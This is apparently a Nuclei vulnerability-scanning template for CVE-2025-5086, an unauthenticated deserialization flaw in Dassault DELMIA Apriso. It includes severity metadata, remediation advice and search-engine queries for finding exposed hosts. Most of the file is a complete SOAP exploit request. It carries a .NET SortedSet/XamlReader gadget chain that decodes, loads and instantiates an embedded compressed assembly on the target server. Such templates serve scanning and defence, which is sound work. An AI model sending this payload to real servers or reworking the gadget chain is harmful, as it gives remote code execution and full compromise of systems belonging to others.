id: CVE-2025-5086

info:
  name: Dassault Systèmes DELMIA Apriso (up to 2025) - Insecure Deserialization
  author: hacktronai,iamnoooob,pdresearch
  severity: critical
  description: |
    A deserialization of untrusted data vulnerability affecting DELMIA Apriso from Release 2020 through Release 2025 could lead to a remote code execution.
  impact: |
    Unauthenticated attackers can exploit unsafe deserialization to execute arbitrary code on DELMIA Apriso servers, achieving complete system compromise.
  remediation: |
    Upgrade DELMIA Apriso to a version later than Release 2025 that properly validates deserialized data.
  reference:
    - https://www.hacktron.ai/blog/posts/dassault-delmia-apriso-rce/
    - https://www.3ds.com/vulnerability/advisories
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9
    cve-id: CVE-2025-5086
    cwe-id: CWE-502
    epss-score: 0.89077
    epss-percentile: 0.99762
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"apriso"
    fofa-query: body="/Apriso/Portal"
  tags: cve,cve2025,delmia,apriso,serialization,rce,kev,vkev,vuln

http:
  - raw:
      - |-
        POST /apriso/WebServices/FlexNetOperationsService.svc/Invoke HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml
        Soapaction: "http://tempuri.org/IFlexNetOperationsService/Invoke"

        <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
          <s:Body>
            <Invoke xmlns="http://tempuri.org/">
        <ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"><Count z:Id="2" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Count><Comparer z:Id="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="0" xmlns=""><_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0" xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a="http://schemas.datacontract.org/2004/07/System"><Delegate z:Id="5" z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0" xmlns=""><a:assembly z:Id="6">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly><a:delegateEntry z:Id="7"><a:assembly z:Ref="6" i:nil="true"/><a:delegateEntry i:nil="true"/><a:methodName z:Id="8">Compare</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Ref="6" i:nil="true"/><a:targetTypeName z:Id="9">System.String</a:targetTypeName><a:type z:Id="10">System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></a:delegateEntry><a:methodName z:Id="11">Parse</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Id="12">PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</a:targetTypeAssembly><a:targetTypeName z:Id="13">System.Windows.Markup.XamlReader</a:targetTypeName><a:type z:Id="14">System.Func`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Object, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></Delegate><method0 z:Id="15" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="11" i:nil="true"/><AssemblyName z:Ref="12" i:nil="true"/><ClassName z:Ref="13" i:nil="true"/><Signature z:Id="16" z:Type="System.String" z:Assembly="0">System.Object Parse(System.String)</Signature><Signature2 z:Id="17" z:Type="System.String" z:Assembly="0">System.Object Parse(System.String)</Signature2><MemberType z:Id="18" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method0><method1 z:Id="19" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="8" i:nil="true"/><AssemblyName z:Ref="6" i:nil="true"/><ClassName z:Ref="9" i:nil="true"/><Signature z:Id="20" z:Type="System.String" z:Assembly="0">Int32 Compare(System.String, System.String)</Signature><Signature2 z:Id="21" z:Type="System.String" z:Assembly="0">System.Int32 Compare(System.String, System.String)</Signature2><MemberType z:Id="22" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method1></_comparison></Comparer><Version z:Id="23" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Version><Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2" xmlns=""><string z:Id="25" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><string z:Id="26" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">&lt;ResourceDictionary&#xD;
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"&#xD;
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"&#xD;
        xmlns:s="clr-namespace:System;assembly=mscorlib"&#xD;
        xmlns:r="clr-namespace:System.Reflection;assembly=mscorlib"&#xD;
        xmlns:i="clr-namespace:System.IO;assembly=mscorlib"&#xD;
        xmlns:c="clr-namespace:System.IO.Compression;assembly=System"&#xD;
        &gt;&#xD;
           &lt;s:Array x:Key="data" x:FactoryMethod="s:Convert.FromBase64String"&gt;&#xD;
              &lt;x:Arguments&gt;&#xD;
                 &lt;s:String&gt;H4sIAAAAAAAEAO1WzW8bVRD/reO0jtNYSQulEVXZ1ClK+Vg5jYNKh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4Wcua0U07WHTG5BYQtH2K4nv/ZYR9+t+RIhf7WPCK7rCLvZVqYxck3o6r4/SON71f05E08QLyWCI+iQWSpjCHWdKniF8gWdA30V//bvfajIWtuLdan+WszFyATmfvAp1Fi07eFGxcpxMpaFBGLVKvTlaf+nU6tSb12uEI96P3FDFGnuwe9dDRbzPSbemTqv/SKIo5wGuESKn7Z+kTt4EYx92RR5VzFmvyLcj7wm/ySdHt3vjoOkYP+QsMXPrahN2i+dJRJh2EbJ2iOarYJH/xNpSoPzitQxLXNPmtyKgMZXHpdhLIVrAKHmLKyhxzod0Mc9Qw2nvKlZZ1BfdiCRV5L7ZW11rbWRlznjx88izTbFqETn1q3D79h6QG/3+p6WcNZJ+eBf0DwmVsFgAOAAA=&lt;/s:String&gt;&#xD;
              &lt;/x:Arguments&gt;&#xD;
           &lt;/s:Array&gt;&#xD;
           &lt;i:MemoryStream x:Key="inputStream"&gt;&#xD;
              &lt;x:Arguments&gt;&#xD;
                 &lt;StaticResource ResourceKey="data"&gt;&lt;/StaticResource&gt;&#xD;
              &lt;/x:Arguments&gt;&#xD;
           &lt;/i:MemoryStream&gt;&#xD;
           &lt;c:GZipStream x:Key="gzipStream"&gt;&#xD;
              &lt;x:Arguments&gt;&#xD;
                    &lt;StaticResource ResourceKey="inputStream"&gt;&lt;/StaticResource&gt;&#xD;
                    &lt;c:CompressionMode&gt;0&lt;/c:CompressionMode&gt;&#xD;
              &lt;/x:Arguments&gt;&#xD;
           &lt;/c:GZipStream&gt;&#xD;
           &lt;s:Array x:Key="buf" x:FactoryMethod="s:Array.CreateInstance"&gt;&#xD;
              &lt;x:Arguments&gt;&#xD;
                 &lt;x:Type TypeName="s:Byte"/&gt;&#xD;
                 &lt;x:Int32&gt;3584&lt;/x:Int32&gt;&#xD;
              &lt;/x:Arguments&gt;&#xD;
           &lt;/s:Array&gt;&#xD;
           &lt;ObjectDataProvider x:Key="tmp" ObjectInstance="{StaticResource gzipStream}" MethodName="Read"&gt;&#xD;
              &lt;ObjectDataProvider.MethodParameters&gt;&#xD;
                 &lt;StaticResource ResourceKey="buf"&gt;&lt;/StaticResource&gt;&#xD;
                 &lt;x:Int32&gt;0&lt;/x:Int32&gt;&#xD;
                 &lt;x:Int32&gt;3584&lt;/x:Int32&gt;&#xD;
              &lt;/ObjectDataProvider.MethodParameters&gt;&#xD;
           &lt;/ObjectDataProvider&gt;&#xD;
            &lt;ObjectDataProvider x:Key="asmLoad" ObjectType="{x:Type r:Assembly}" MethodName="Load"&gt;&#xD;
                &lt;ObjectDataProvider.MethodParameters&gt;&#xD;
                    &lt;StaticResource ResourceKey="buf"&gt;&lt;/StaticResource&gt;&#xD;
                &lt;/ObjectDataProvider.MethodParameters&gt;&#xD;
            &lt;/ObjectDataProvider&gt;&#xD;
            &lt;ObjectDataProvider x:Key="types" ObjectInstance="{StaticResource asmLoad}" MethodName="GetTypes"&gt;&#xD;
                &lt;ObjectDataProvider.MethodParameters/&gt;&#xD;
            &lt;/ObjectDataProvider&gt;&#xD;
            &lt;ObjectDataProvider x:Key="firstType" ObjectInstance="{StaticResource types}" MethodName="GetValue"&gt;&#xD;
                &lt;ObjectDataProvider.MethodParameters&gt;&#xD;
                    &lt;s:Int32&gt;0&lt;/s:Int32&gt;&#xD;
                &lt;/ObjectDataProvider.MethodParameters&gt;&#xD;
            &lt;/ObjectDataProvider&gt;&#xD;
            &lt;ObjectDataProvider x:Key="createInstance" ObjectInstance="{StaticResource firstType}" MethodName="InvokeMember"&gt;&#xD;
                &lt;ObjectDataProvider.MethodParameters&gt;&#xD;
                    &lt;x:Null/&gt;&#xD;
                    &lt;r:BindingFlags&gt;512&lt;/r:BindingFlags&gt;&#xD;
                    &lt;x:Null/&gt;&#xD;
                    &lt;x:Null/&gt;&#xD;
                    &lt;x:Null/&gt;&#xD;
                    &lt;x:Null/&gt;&#xD;
                    &lt;x:Null/&gt;&#xD;
                    &lt;x:Null/&gt;&#xD;
                &lt;/ObjectDataProvider.MethodParameters&gt;&#xD;
            &lt;/ObjectDataProvider&gt;&#xD;
        &lt;/ResourceDictionary&gt;</string></Items></ArrayOfstring>
            </Invoke>
          </s:Body>
        </s:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'contains(projectdiscovery, "cve-2025-5086")'
          - 'contains(content_type, "text/xml")'
          - 'status_code == 500'
        condition: and
# digest: 4a0a0047304502202112b6b74ac4146d5a404bbf584a3d4cdbc87a9e2b3c627bcff648560fda7e46022100e17760f154c93d4a680a57e2fc36bf8c69f340bba17c8a3950f86587f7152ac8:922c64590222798bb761d5b6d8e72950